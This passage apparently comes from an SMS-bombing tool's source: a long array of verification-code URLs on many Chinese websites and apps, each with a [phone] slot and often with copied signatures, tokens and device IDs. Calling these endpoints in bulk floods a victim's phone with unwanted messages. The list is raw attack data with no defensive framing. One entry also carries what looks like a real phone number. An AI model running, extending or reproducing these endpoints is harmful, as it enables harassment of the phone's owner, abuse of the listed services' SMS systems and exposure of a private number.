"https://client.cangshuyuedu.com/api/Sys/SendSmsAuthCode?callback=jQuery111009421744498287961_1580993309090&pType=4&app_version=2.0.7&pkgname=com.yokong.bookfree&channel_id=1&device_id=f75c53c90f4a6635d5f6c7136120154d&mob=[phone]", + "https://client.uqbike.com/sms/sendAuthCode.do?accountId=5&phone=[phone]", + "https://client.uqbike.com/sms/sendAuthCode.do?accountId=5&phone=[phone]", + "https://cloud.haoyunbang.cn/user/sms/send?mobile=[phone]", + "https://cloud.haoyunbang.cn/user/sms/send?mobile=[phone]&appId=ios_15196397349756&t=1565073179646&sign=70723c9c61730237de0b97a02395e103", + "https://cloud.nucarf.com/rest/querySmsCode?phoneNum=[phone]", + "https://consumer.fcbox.com/v1/account/sendCode?mobile=[phone]", + "https://consumer.fcbox.com:443/v1/account/sendCode?mobile=[phone]", + "https://dakaapp.troila.com/api/v7/index/send_sms?phone=[phone]", + "https://dakaapp.troila.com/api/v7/index/send_sms?phone=[phone]&expect=0", + "https://dakaapp.troila.com:443/api/v7/index/send_sms?phone=[phone]", + "https://dakaapp.troila.com:443/api/v7/index/send_sms?phone=[phone]&expect=0", + "https://dappweb.huolala.cn/index.php?_su=1609554659540820860&revision=&_m=register&_a=send_register_sms_code&phone_no=[phone]", + "https://ddt.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]", + "https://doctor.helianhealth.com/api/v3/auth/common/getSMScode?cellphone=[phone]&sign=d821db6c5629ea532b9f8ff95e39e952&smsType=1&timestamp=1568266253&type=1", + "https://donutenglish.koolearn.com/api/message/send_vcode?callback=jQuery111009421744498287961_1580993309090&use=5&sign=1CE8E4BE7B71ABA57CBF20762AF78A0C&mobile=[phone]&app_id=29&_=1580993309093", + "https://donutenglish.koolearn.com/api/message/send_vcode?callback=jQuery111009421744498287961_1580993309090&use=5&sign=1CE8E4BE7B71ABA57CBF20762AF78A0C&mobile=[phone]", + "https://eapi.huolala.cn/?_m=account&_a=sms_code&args=%7B%22phone_no%22%3A%22[phone]", + "https://edu.10086.cn/sso/sendSmsMsg&do=get_vcode&user_mobile=[phone]", + "https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone 6s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]", + "https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone%206s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]", + "https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone%206s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]", + "https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone6s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]", + "https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]&img_vc=", + "https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]", + "https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN", + "https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN", + "https://fudao.qq.com/cgi-proxy/common_func/send_sms_code?phone=[phone]", + "https://gongdu.youshu.cc/m/sign/msg?callback=jQuery111009421744498287961_1580993309090&nonce=18907&mobile=[phone]&os=ios&timestamp=1569225015&type=mobile&soft=5.4.2&_=1580993309101", + "https://gongdu.youshu.cc/m/sign/msg?callback=jQuery111009421744498287961_1580993309090&nonce=18907&mobile=[phone]", + "https://graph.3vjia.com/captcha/mobile/REG/[phone]", + "https://graph.3vjia.com/captcha/mobile/reg/[phone]?moblieImgCaptcha=", + "https://gwbk.zhongan.com/dmapiv2/za-dm-insure/dm/user/sendSMGCode?mobilePhone=[phone]&from=web", + "https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&type=4&cellphone=[phone]&city=%E9%87%8D%E5%BA%86%E5%B8%82&lat=29.593100&lng=106.291519&version=6.1&os=ios&auth=1&sign=1ae1dda00913d0707905455258cd5045", + "https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&type=4&cellphone=[phone]&city=重庆市&lat=29.593100&lng=106.291519&version=6.1&os=ios&auth=1&sign=1ae1dda00913d0707905455258cd5045", + "https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&type=4&cellphone=[phone]", + "https://h5.youzan.com/usercenter/member/member/mobilesmscode.json?kdt_id=19161003&mobile=[phone]&verify_times=1", + "https://happy.mail.10086.cn/jsp/cn/club/login/smscode.do?r=0.24631415040371842&usermobile=[phone]", + "https://happy.mail.10086.cn/jsp/cn/club/login/smscode.do?r=0.24631415040371842&usermobile=[phone]", + "https://hdgateway.zto.com/auth_account_sendLoginOrRegisterSmsVerifyCode?mobile=[phone]", + "https://helper.2bulu.com/sendValidateCode?p_userId=0&p_productType=0&p_terminalType=2&p_appVersion=6.1.0&mobileNumber=[phone]&unique=1&areaCode=86", + "https://helper.2bulu.com/sendValidateCode?p_userId=0&p_productType=0&p_terminalType=2&p_appVersion=6.1.0&mobileNumber=[phone]", + "https://host.convertlab.com/sms/get?mobile=[phone]&name=Convertlab&token=4080fdef3cb44298852d226af95b2502&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d", + "https://host.convertlab.com/sms/get?mobile=[phone]&name=Convertlab&token=4080fdef3cb44298852d226af95b2502&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d", + "https://host.convertlab.com/sms/get?mobile=[phone]&name=Convertlab&token=bdfa0471b3354eba9d5a424121bdf37c&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d", + "https://host.convertlab.com/sms/token?mobile=[phone]", + "https://id.ifeng.com/api/simplesendmsg?comefrom=38&msgtype=0&auth=&mobile=[phone]", + "https://id.ifeng.com/api/simplesendmsg?comefrom=38&msgtype=0&auth=&mobile=[phone]", + "https://id.seewo.com/api/recordSEM?systemCode=care&appVersion=%E5%B8%8C%E6%B2%83%E5%AD%A6%E9%99%A2SEM&actionType=1111004&channelName=care&deviceId=&_=1547004660553&userId=[phone]", + "https://id.seewo.com/api/recordSEM?systemCode=care&appVersion=希沃学院SEM&actionType=1111004&channelName=care&deviceId=&_=1547004660553&userId=[phone]", + "https://idecoration.ikongjian.com/user/fetchCode?&deviceId=7676F5C4-1919-4FC8-9436-BBFD5BE87482&mobile=[phone]&type=1&token=YzVkMGVlYWMtZTU4My00MTc2LWJkMzYtZGZlMWRjODgwYjBkZDBiMDg4Y2QxZWZkLTYzZGItNjcxNC0zODVlLWNhZWUwZDVj", + "https://idecoration.ikongjian.com/user/fetchCode?&deviceId=7676F5C4-1919-4FC8-9436-BBFD5BE87482&mobile=[phone]", + "https://iguanyu.com/gywebsite/common/sendVerificationCode?phone=[phone]", + "https://im.molinsoft.com/validate.jsp?randromid=0.2002692325464066mobileNumber=[phone]", + "https://iosapi.shixiseng.com/app/telrandcode?sign=6F4C6784400B289D3B0BC2742D704E59&tel=[phone]&time=1564926500.453583&type=reg", + "https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]", + "https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]&sign_type=1&use_type=1", + "https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]&sign_type=1&use_type=1", + "https://jdapi.jd100.com:443/uc/v1/getSMSCode?account=[phone]", + "https://jiameng.baidu.com/portal/com/captcha?ajax=1&device=pc[phone]", + "https://jjy.3g.fang.com/httpclient/agentservice.jsp?groupFlag=ESF&messagename=jjy_getPassportandCustomerIds&phone=[phone]&wirelesscode=57b34f0c5725ee3d9e76c2619c394ae8", + "https://john.ixiaolu.com/account/check_account_name?ab_ver=A&account_name=86-[phone]&app_channel=&device=iPhone8%2C1&device_id=5C351103-F887-4932-BC59-58C75875EFDE&login_user_id=0&pcid=ae1895f8187711a6bf727e6d14b0588d&phone_sn=9e633777bc1a27c4cb826b1a4c6309dd34eb80", + "https://john.ixiaolu.com/account/check_account_name?ab_ver=A&account_name=86-[phone]&app_channel=&device=iPhone8,1&device_id=5C351103-F887-4932-BC59-58C75875EFDE&login_user_id=0&pcid=ae1895f8187711a6bf727e6d14b0588d&phone_sn=9e633777bc1a27c4cb826b1a4c6309dd34eb80", + "https://ka.niwodai.com/loans-mobile/validatecode.do?method=refresh&date=1557210332912interval=60&phone=[phone]", + "https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&_cityCode=023&tel=[phone]", + "https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&_cityCode=023&tel=[phone]&learn_stage=0&appChannel=App Store&cUDID=5C351103-F887-4932-BC59-58C75875EFDE&lng=106.2849618867906&appVersion=7.5.3&que_city_id=27&os=iOS&enr_city_id=75&openUDID", + "https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&_cityCode=023&tel=[phone]&learn_stage=0&appChannel=App%20Store&cUDID=5C351103-F887-4932-BC59-58C75875EFDE&lng=106.2849618867906&appVersion=7.5.3&que_city_id=27&os=iOS&enr_city_id=75&openUDID", + "https://khweb.easec.com.cn:12203/nImgServlet?key=0.17275703431645484&funcNo=501520&op_source=3&flow_type=twvideo&ip=&mac=&verify_code=mobile_no=[phone]", + "https://live.weaver.com.cn/homepage/createCode2?jsonpcallback=jQuery11020786823554715125_1594648708687&phonenum=[phone]", + "https://logic-zone-10007.api.xlgxapp.com/315000/rider/api/v3/message/[phone]?event=OneKeyLogin", + "https://login-user.kugou.com/v1/send_sms_for_reg?appid=1014&callback=GetSmsCodeCallbackFn&v=1&verifycode=&ct=1546670699&type=reg&mid=07546126fef194aa4b29a5a80ec7a8d1&kguser_jv=180925&mobile=[phone]", + "https://login-user.kugou.com/v1/send_sms_for_reg?appid=1014&callback=GetSmsCodeCallbackFn&v=1&verifycode=&ct=1546670699&type=reg&mid=07546126fef194aa4b29a5a80ec7a8d1&kguser_jv=180925&mobile=[phone]", + "https://login.10086.cn/chkNumberAction.action?userName=[phone]", + "https://login.10086.cn/sendRandomCodeAction.action?userName=[phone]&type=01&channelID=12002", + "https://login.10086.cn/sendRandomCodeAction.action?userName=[phone]&type=01&channelID=12002", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery1830021546042600087745_1584433571320&phone=[phone]", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&phone=[phone]&nation=CN&type=13&from_domain=i&verifycode=&_=1589810786512", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&phone=[phone]", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&phone=[phone]&nation=CN&type=13&from_domain=i&verifycode=&_=1589810786512", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303640777548241676_1579193274318&phone=[phone]", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303956739664829656_1592495501835&phone=[phone]&type=5&nation=CN&from_domain=yjs_h5&verifycode=&_=1592495526803", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303956739664829656_1592495501835&phone=[phone]&type=5&nation=CN&from_domain=yjs_h5&verifycode=&_=1592495526803", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18307610929541763114_1547125502231&nation=CN&type=5&from_domain=i&verifycode=&_=1547125703761&phone=[phone]", + "https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18307610929541763114_1547125502231&nation=CN&type=5&from_domain=i&verifycode=&_=1547125703761&phone=[phone]", + "https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&type=jsonp&mobile=[phone]&msgInterval=60&imageCode=&countryCode=86&country=CN&_=1594952633566", + "https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&type=jsonp&mobile=[phone]", + "https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&type=jsonp&mobile=[phone]&msgInterval=60&imageCode=&countryCode=86&country=CN&_=1594952633566", + "https://login.zbj.com/register/sendRegisterCode?sacc= [phone]", + "https://love.163.com/open/api/login/phone/checkStatus?86=areaCode&phone=[phone]", + "https://love.163.com/open/api/login/phone/checkStatus?86=areaCode&phone=[phone]", + "https://m.300.cn/verify/message?is_ajax=1&callback=jQuery19109805433584210501_1596669590055&mobile=[phone]&_=1596669590060", + "https://m.ceair.com/mobile/user/user-login!sendDistinctPwd.shtml?phoneNo=[phone]", + "https://m.ceair.com/mobile/user/user-login!sendDistinctPwd.shtml?phoneNo=[phone]&apdToken=APDIDJS_donghang_3880391e1df5928e12b47ebf81c54a6a&geetest_challenge=feb26c08395a9970e3e42026dfd4cb22&geetest_validate=c286a97ff7ddf40bd37ddd8789a5642c&geetest_seccode=c286a97f", + "https://m.exmail.qq.com/cgi-bin/sell_dependent?action=send_sms&t=wap_official_mgr&ef=jsnew&type=6&area=86&mobile=[phone]&r=0.6184749692742786", + "https://m.exmail.qq.com/cgi-bin/sell_dependent?action=send_sms&t=wap_official_mgr&ef=jsnew&type=6&area=86&mobile=[phone]&r=0.6184749692742786", + "https://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "https://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300×tamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "https://m.health.pingan.com:443/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "https://m.health.pingan.com:443/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300×tamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "https://m.jf.10010.com/wx006/jf-auth/wx/getCaptcha/[phone]", + "https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&raw_phone=[phone]&phone=[phone]&national_code=86&from=1&bkn=1557826707&_=1596758267792", + "https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&raw_phone=[phone]&phone=13058226398&national_code=86&from=1&bkn=1557826707&_=1596758267792", + "https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&raw_phone=[phone]&phone=[phone]&national_code=86&from=1&bkn=1557826707&_=1596758267792", + "https://m.lubsj.com/index.php?app=member&act=send_captcha&phone_mob=[phone]", + "https://m.mgqr.com/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]", + "https://m.mgqr.com/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]", + "https://m.mgqr.com:443/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]", + "https://m.mgqr.com:443/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]", + "https://m.rong360.com/mobile/Wxpageforapp/SendSmsVcode?mobile=[phone]&callback=rong_json1565594522310&v=7620", + "https://m.ule.com/user/getRegValidateCode?mobile=[phone]", + "https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber=[phone]", + "https://m.zhaopin.com/api/capi?capiUrl=passport/getSmsCodeSecurity&mobile=[phone]", + "https://mapi.wandougongzhu.cn/?method=User.sendRegCode&ch=appstore&devid=6850174bf9bcd0264c01eac202a8447e&devname=&devtype=iphone_gg&dpi=750x1334&img_fmt=webp&lang=zh-Hans-CN&loc=&model=iPhone8%2C1&network_type=wifi&os_version=12.4&phone=[phone]&rtick=1566790690.50", + "https://mapi.wandougongzhu.cn/?method=User.sendRegCode&ch=appstore&devid=6850174bf9bcd0264c01eac202a8447e&devname=&devtype=iphone_gg&dpi=750x1334&img_fmt=webp&lang=zh-Hans-CN&loc=&model=iPhone8,1&network_type=wifi&os_version=12.4&phone=[phone]&rtick=1566790690.50", + "https://masterhands.yladm.com/user/phone/verifycode?app=gaoshou_i&brand=apple&idfa=5C351103-F887-4932-BC59-58C75875EFDE&model=iphone&phone=[phone]&refer=hometabpage&sid=appstore&sign=dfe50ccd14bb2c905e37b4706c5e633c&tcid=5f401e59cddf4345a511010d2c268592&timestamp=1", + "https://masterhands.yladm.com/user/phone/verifycode?app=gaoshou_i&brand=apple&idfa=5C351103-F887-4932-BC59-58C75875EFDE&model=iphone&phone=[phone]", + "https://mc.imways.com/wechat/member/info/sendmsg?mobile=[phone]", + "https://member.chinaacc.com/api/SmsCode.shtm?jsonpCallback=success_jsonpCallback&siteId=3&mobilePhone=[phone]", + "https://mktmain.daikuan.360.cn/activity/pcguide/cdsmsCode?callback=_360jr1603842207037&mobile=[phone]", + "https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx?phoneNo=[phone]", + "https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx?phoneNo=[phone]&showtopbar=true&DeviceType=E&Version=7.1.2&SystemVersion=6.0.1&behavior_entryid=lgf005001", + "https://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "https://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "https://mobilegt.weidai.com.cn/api/v2/verify/mobile/[phone]", + "https://mp.66law.cn/Common/GetValidateCode?time=1574424867777mobilePhone=[phone]", + "https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools ?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]&gCode=", + "https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools%20?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]&gCode=", + "https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools%20?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]", + "https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]", + "https://msgo.10010.com/lsd-message/send/captcha/phone/v1?phoneNumber=&event=mobileloginusername=86-[phone]", + "https://my.800hr.com/inc/checkcode/?width=60&high=30&size=12&tm=21m25s13&type=1&channel=2&act=getphonecode®_code=user_phone=[phone]", + "https://mzone.yqb.com/mzone-http/sms/send_sms[phone]", + "https://n.daoxila.com/verification/appSend?mobile=[phone]", + "https://n.daoxila.com/verification/appSend?mobile=[phone]&time=1564746677059", + "https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&ararea=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4&degrees=%5B%5D&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]&os_version=12.4&scree", + "https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4&degrees=%5B%5D&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]&os_version=12.4&scree", + "https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4&degrees=[]&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]&os_version=12.4&scree", + "https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4°rees=%5B%5D&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]", + "https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4°rees=[]&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]", + "https://nhapi01.tv189.com/cpms/Internet?appid=111010310081&phone=[phone]&idfa=5C351103-F887-4932-BC59-58C75875EFDE&NetType=WIFI&channelID=01834221&type=register&iosid=ccb2ffcb0bc0a5b42678ac61fed3372bed1ce69a&devid=000001&pcode=4&accessType=99&clienttype=5&token=417", + "https://nhapi02.tv189.com/cpms/Internet?appid=111010310225&phone=[phone]&cliver=1.32.1.6&idfa=5C351103-F887-4932-BC59-58C75875EFDE&NetType=WIFI&channelID=01834721&type=register&iosid=ccb2ffcb0bc0a5b42678ac61fed3372bed1ce69a&token=b1fa0dc43dc3ed1b9c4d9cb5f5e57529&pc", + "https://oa.dingtalk.com/omp/sms/send_check_code_img&vcode=uaiIIuNYyv&ajax=1&r=0.37962152601011057step=getverifycode&u_nme=undefined&mobi=[phone]", + "https://open.shiguangkey.com/api/udb/verifycode/get/smscode?phone=86-[phone]", + "https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&access_token=&appid=4&channel=AppStore&density=2&device=iPhone8,1&imei=5C351103-F887-4932-BC59-58C75875EFDE&launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&mobile=+86-[phone]", + "https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&access_token=&appid=4&channel=AppStore&density=2&device=iPhone8%2C1&imei=5C351103-F887-4932-BC59-58C75875EFDE&launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&mobile=%2B86-[phone]&net=wifi&", + "https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&access_token=&appid=4&channel=AppStore&density=2&device=iPhone8,1&imei=5C351103-F887-4932-BC59-58C75875EFDE&launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&mobile=+86-[phone]&net=wifi&", + "https://open.zhundao.net/api/v2/senCode?&phoneOrEmail=[phone]", + "https://p.doras.api.vcinema.cn/v5.0/user/[phone]", + "https://p.doras.api.vcinema.cn/v5.0/user/[phone]/send_code", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=%2B86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=3cab2a2b042928518869ab9fee57ce03&user_domain=cc", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=+86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=3cab2a2b042928518869ab9fee57ce03&user_domain=cc", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&mobile=%2B86-[phone]&imgcode=&token=aa315477956d459f40b6f26c9090b790&sendtype=mobilemsgpwd&msgtype=1&captchaVersion=2&user_domain=cc&business_domain=&hpuid=924-ECmHmDZ0xdhMnXe-43&callback=reqwest_1589532775907030687", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=%2B86-[phone]", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=+86-[phone]", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=+86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=3cab2a2b042928518869ab9fee57ce03&user_domain=cc", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&mobile=%2B86-[phone]", + "https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&mobile=%2B86-[phone]&imgcode=&token=aa315477956d459f40b6f26c9090b790&sendtype=mobilemsgpwd&msgtype=1&captchaVersion=2&user_domain=cc&business_domain=&hpuid=924-ECmHmDZ0xdhMnXe-43&callback=reqwest_1589532775907030687", + "https://pass.cctalk.com/v2/Handler/UCenter?action=SendMsg&mobile=[phone]", + "https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=%2B86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=4eee9083e9d146799ef5828ac583d8b3&user_domain=hj", + "https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=+86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=4eee9083e9d146799ef5828ac583d8b3&user_domain=hj", + "https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=%2B86-[phone]", + "https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=+86-[phone]", + "https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile=[phone]", + "https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile=[phone]", + "https://passport.baidu.com/v2/api/senddpass?gid=D3EF000-BEE8-4BF5-80D5-73CECBB45D8F&username=[phone]&countrycode=&bdstoken=37e69227d824b54b2d25345b07e066bc&tpl=bceplat&flag_code=0&apiver=v3&tt=1480316742232&callback=bd__cbs__o8kllk", + "https://passport.baidu.com/v2/api/senddpass?gid=D3EF000-BEE8-4BF5-80D5-73CECBB45D8F&username=[phone]&countrycode=&bdstoken=37e69227d824b54b2d25345b07e066bc&tpl=bceplat&flag_code=0&apiver=v3&tt=1480316742232&callback=bd__cbs__o8kllk", + "https://passport.beva.com/passport/v1/sdk/sendvcode?callback=jQuery111009421744498287961_1580993309090&nonce=1569211859&devcode=1E0D9617438F4A0DBED0AEB20FF19A50&mobile=[phone]&scene=mobilelogin&sign=cba0ddbe3e68126d5d24d2d6342754d6&platform=6&_=1580993309095", + "https://passport.bignox.com/sso/o2/sms?method=send_mobile_login_sms&mobile=[phone]&operation=login&request_token=RT-946987-zwaBUfZnSTD2qfrc04fvX9J2Pd7AyN-bignox.com", + "https://passport.bignox.com/sso/o2/sms?method=send_mobile_login_sms&mobile=[phone]", + "https://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.3520412800489632&mobileNo=[phone]", + "https://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.3520412800489632&mobileNo=[phone]", + "https://passport.chinagoldcoin.net/user/checkAuthCode?mobile=[phone]", + "https://passport.deepoon.com/api/user/getVerifyCode?accesstoken=5381cfb341266380dd9cd812d068d031&amp;timestamp=1548161770&client=3dboboAndroid&version=6.6.4.tencent&type=1&mobile=[phone]", + "https://passport.deepoon.com/api/user/getVerifyCode?accesstoken=5381cfb341266380dd9cd812d068d031×tamp=1548161770&client=3dboboAndroid&version=6.6.4.tencent&type=1&mobile=[phone]", + "https://passport.eqxiu.com/eqs/sms/token?phone=[phone]", + "https://passport.eqxiu.com/eqs/sms/token?phone=[phone]&type=quickLogin&checkPhone=1&channel=21&version=4.4.1", + "https://passport.eqxiu.com/eqs/sms/token?phone=[phone]&type=quickLogin&checkPhone=1&channel=21&version=4.4.1", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery183041957833420943325_1584502778631&mobile=[phone]&_=1584502793693", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery183041957833420943325_1584502778631&mobile=[phone]", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307125578716707999_1546707858677&_=1546707872507&mobile=[phone]", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307125578716707999_1546707858677&_=1546707872507&mobile=[phone]", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&mobile=[phone]", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&mobile=[phone]&_=1523359575414", + "https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&mobile=[phone]", + "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery211010311191363159777_1563973948739&mobile=[phone]&countrycode=86&mobilestep=1&_=1563973948741", + "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery211010311191363159777_1563973948739&mobile=[phone]", + 